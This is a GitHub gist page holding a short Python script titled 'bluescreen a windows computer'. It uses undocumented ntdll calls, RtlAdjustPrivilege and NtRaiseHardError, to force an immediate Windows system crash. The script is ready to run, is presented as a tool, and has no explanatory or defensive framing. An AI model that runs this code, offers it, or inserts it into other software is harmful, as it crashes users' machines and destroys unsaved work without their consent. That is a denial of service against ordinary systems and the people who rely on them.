Skip to content

Instantly share code, notes, and snippets.

@TheMcSebi
Created December 12, 2021 13:46
Show Gist options
  • Save TheMcSebi/0954a09bbec2768532bd2bdb2255646b to your computer and use it in GitHub Desktop.
Save TheMcSebi/0954a09bbec2768532bd2bdb2255646b to your computer and use it in GitHub Desktop.
bluescreen a windows computer
# ported from c to python only using github copilot (no google)
from ctypes import windll
from ctypes import c_int
from ctypes import c_uint
from ctypes import c_ulong
from ctypes import POINTER
from ctypes import byref
nullptr = POINTER(c_int)()
windll.ntdll.RtlAdjustPrivilege(
c_uint(19),
c_uint(1),
c_uint(0),
byref(c_int())
)
windll.ntdll.NtRaiseHardError(
c_ulong(0xC000007B),
c_ulong(0),
nullptr,
nullptr,
c_uint(6),
byref(c_uint())
)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment